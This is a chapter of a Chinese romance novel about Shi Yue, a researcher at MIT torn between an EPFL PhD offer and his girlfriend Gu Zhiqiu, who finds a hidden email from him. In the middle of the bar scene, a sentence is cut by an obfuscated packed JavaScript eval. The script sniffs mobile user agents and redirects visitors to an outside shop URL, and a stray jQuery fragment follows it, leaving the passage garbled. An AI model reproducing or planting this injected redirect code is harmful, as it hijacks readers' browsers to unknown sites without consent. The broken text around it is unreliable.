凌晨四点，实验室像一个遗忘在世界角落的孤岛。空气里弥漫若有若无的咖啡气息。


    时越在会议室的长沙发上惊醒，颈椎因长时间保持一个动作发出“吱嘎”声。在梦里，妈妈转身走入迷雾时那个平静又失望的眼神，醒来后他的心脏还在狂跳个不停。


    他抓过桌上的保温杯，灌下一大口冰水，试图压下心头那阵几乎要溢出胸口的恐慌。


    他坐回电脑前，屏幕幽幽地亮着。数据曲线依旧顽固地在中段塌陷，但塌陷前的峰值，却是比昨天同一时段向上爬升了0.3%。一个小到让人很容易忽视的数字。调出日志，他反复对比参数，发现每次数据异常前，都伴随着楼下那台新安装的仪器的校准周期，看来外部干扰源的可能性越来越大。


    手机屏幕在这时突然亮起，是一封新邮件提示。他点开一看，竟是David Shor教授的学术助理。Shor教授，是时越这个专业当今真正的奠基人之一，也是他书架上那几本被翻到书脊开裂的书籍的作者。


    邮件内容比他想象的更为直接。是一封预录取邀请，言辞诚恳地表示，Shor教授本人仔细阅读了他发表的那篇论文，对他的洞察力非常欣赏。邮件明确指出，教授所在EPFL的研究组，正计划开拓的研究新方向中，有一个与他文中构想高度契合，因此诚挚地邀请他，在MIT的交换项目结束后，可以优先申请教授名下的博士岗位。


    这封邮件，像是冲破乌云的阳光，为他照亮了一条清晰的学术坦途。


    然而，时越却没有感受到预期中的狂喜。可能是这光芒太盛，反而照得他内心的惶惑无所遁形。他像一个在黑暗中待得已久的人，面对光源的第一反应不是靠近，只是本能地退缩。


    —


    早晨八点半，实验室的门被轻轻推开，助教Lindy走了进来。她穿着一件剪裁利落的深灰色高领毛衣，金色的长发在脑后挽成一个随性的发髻，身上带着室外清冽的空气。


    “数据跑得怎么样了？”她自然地走到时越身边，俯身看向屏幕，几缕不听话的碎发垂落耳侧。“峰值有爬升，”她用手指虚点着屏幕上那个0.3%的区域，琥珀色的眼睛亮起光芒，“那这个方向肯定是对的。”


    时越早已经从Shor教授助理的邮件中回过神来，指着日志上他刚刚标注出的时间点：“我怀疑问题出在外部。看这里，异常和楼下PET-CT的校准周期完全同步。”


    “外部干扰？”Lindy拉过旁边的椅子坐下，和他一起仔细检查那些交错的数据轨迹。她身上有淡淡的、清冽的柑橘调香味，若有若无地飘过来。时越有一瞬间的晃神，这味道让他想起顾知秋常用的那款护手霜。


    “对了，”Lindy抬起头，语气随意地提到，“周五晚上，‘entropy’酒吧有个小型的学术交流会，来的大多是附近的研究员。氛围很轻松的，就是聊聊各自的项目，换换脑子。你要不要一起来？”


    他下意识就想拒绝。但话到嘴边，又咽了回去。他瞥了一眼手机，想到那封来自Shor教授的邮件，又想到顾知秋那条至今未回的消息。或许，他真的需要走出去。


    “好。”他听见自己的声音，“谢谢。”


    Lindy似乎有些意外他能答应，随即笑了笑：“好啊！那周五晚上见。”


    她离开后，实验室里重归寂静。时越点开另一封还没敢点开的邮件，来自母亲生前的主治医生，陈叔叔。


    附件里的PDF报告，更像是一份充满遗憾的笔记。陈医生用精准而克制的语言，分析了时越母亲在长达一年多的植物人状态中，那些混杂在背景噪音里的异常生理信号波动。报告指出，这些信号虽然微弱，但是非常持续，它们表现模式和经典医学模型的预测并不相符。


    陈医生在邮件的结尾处写道：【时越，我越发相信，这些信号并非随机噪音，背后可能有着更深刻的物理原理。这已是我能力的极限，却或许是你真正征程的起点。最近偶然看到一篇论文，其内容和方向令人惊叹，似乎为解读此类信号提供了全新的可能。第一作者，似乎在瑞士。】


    又是瑞士。这个国家，带着学术殿堂的召唤和探寻母亲往事的双重引力，扑面而来，让他不得不面对。


    他关掉邮件，想要透口气。


    鬼使神差地，他再次点开了那个存储在云端的【唤醒系统】原型。


    他下意识点击了语音输入按钮。红色的录音标志开始闪烁。他顿时紧张到喉咙发紧，仿佛被无形的手扼住，一个字也说不出来。可一想到顾知秋，仿佛长出了勇气。


    “只只，”他的情绪逐渐稳定，“EPFL的研究方向，是我一直想要弄清楚的妈妈的数据……可是，如果我去的话，该怎么跟你开口？”


    —


    京市的午后，阳光透过“小满”咖啡馆巨大的落地窗，在木质桌面上投下斑驳的光影。


    顾知秋坐坐常坐的角落位置，面前的笔记本电脑亮着，显示着刚刚与制片方线上讨论后最终确认的剧本合同电子版。她移动鼠标，点击了“确认签署”。


    一场关于创作理念的漫长拉锯战，终于以她保留核心设定而告终。


    她合上电脑，揉了揉酸痛的脖颈。拿出手机，几乎是本能地点开了那个置顶的聊天窗口。


    很多话，打出来，又删掉。反复修改后，她只发出了一句：【剧本定稿了。】手指停顿了一下，又补充了一条：【下面我要专心准备考试啦，波士顿已经暖和了吧？】发完便收拾东西回了宿舍。


    到宿舍时，王悦正对着镜子试新买的口红，转头看了她一眼，又继续沉浸于欣赏自己的美貌中。“回来啦？剧本搞定了？”


    “嗯，定了。”


    “哇！恭喜啊顾大编剧！那要不要晚上庆祝一下？”


    顾知秋勉强笑了笑，摇了摇头：“今天算了，想歇歇。”


    话音刚落，手机就在口袋里震动了一下。她立刻掏了出来。


    然而屏幕亮起，是制片人的消息：“结尾处还是需要再加一个小反转，增加话题度！”她盯着那行字看了几秒，一股深深的失落感涌上心头。但最终，她只是深深吸了一口气，回复道：“好的，我调整一下。”


    —


    周五傍晚的大洋彼岸，波士顿的夜幕刚刚降临。时越按照约定来到“entropy”酒吧。Lindy正在不远处和几个研究员热络地交谈，偶尔会朝他的方向看一眼，递过一个“还好吗”的眼神。


    时越勉强牵动嘴角回应。这种场合让他感到一种深刻的疏离。他晃着杯中融化的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694691|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冰块，觉得这里的暖气开得太大，闷得他喘不过气。


    他下意识地摸出手机，屏幕在昏暗的光线下亮起。他和顾知秋的对话框，依旧停留在她几天前发来的那两条消息上。


    他能想象到她打下这些字时，神情应该是放松的，可能还有一丝小小的傲娇。他知道她为这个剧本投入了很多心力，他为她感到骄傲和自豪。


    而他呢？


    他有什么资格，去回应她那句看似平常的【定稿了】？他甚至不敢说“恭喜”。他怕自己一旦开口，所有强撑的平静都会瞬间崩溃。


    他盯着那两条消息。酒吧里的欢声笑语，仿佛瞬间被按下了静音键。


    将杯中冰凉的苏打水一口饮尽后，他拇指动了动，没有回复任何一个字，只是按下了锁屏键。这份他自以为是的“保护”，不久后他才明白，其实更多只是一种懦弱的逃亡。


    —


    京市，时间刚是早上8点。


    顾知秋从一场混乱的短梦中惊醒，额角渗出细密的冷汗。梦里，时越独自一人走在无边无际的暴风雪中，身影越来越小，任她如何呼喊，他都没有回头。


    她猛地坐起身，心脏毫无预兆地疯狂跳着。今天周末，大家都还没起床，宿舍的窗帘还严严实实地拉着。黑暗中，她摸处枕头旁边的手机，按亮屏幕，没有来自他的任何新消息。


    一种尖锐的痛感，突然扎向她，好像她正在失去他。不是因为感情的消逝，而是他正被某种难以抗拒的力量，拖拽进了某个不见底的深渊。


    顾知秋不想再这样等下去了。


    她先是打开了Kevin的头像，最近他大概是忙于考试,社媒发动态的频率明显低于前阵子。而他口中的时越最近一切正常，依然话很少不合群。


    她还是觉得不太安稳，总觉得一定要做点什么。最后泄气地下床坐回电脑前，漫无目的地滑动着鼠标。交完手头的项目，她只要考完期末考其实就有时间的。可想到时越对自己的抗拒，波士顿还有去的必要吗？是不是远距离的文字关心更能让他的压力小一些？


    她点开邮箱，这个动作在过去几个月里已经成习惯。时越申请和签证的资料都同时发了一份给她备份，还有他刚到MIT时候的课程表。他申请交换时候的履历表，她已经看了无数次，对他取得的成绩了然于心。


    此刻，她只是一遍遍地把之前的邮件打开又关闭安。仿佛这样，就能让她无处安放的心变得平静些。


    她滑动鼠标的手太快，一个误触。打开了下面的“垃圾邮件”的文件夹。


    页面随着鼠标跳转。在一堆花花绿绿的促销广告中，看到一封被系统自动屏蔽的邮件，邮件主题攫住了她的目光：主题【For zhizhi-Open When there is a necessary】。


    发件人是一个陌生的邮箱，时间是两个多月前。


    她立刻点开邮件，里面只有一行简短的几行文字和一个加密的云盘链接：


    【这是原型。密码是我们在青岛看日出的那一天。


    希望你看到，又不希望你看到。


    只是以防万一。】


    以防万一？什么万一？


    她的手指带着一丝颤抖，复制了那个链接，在浏览器中打开。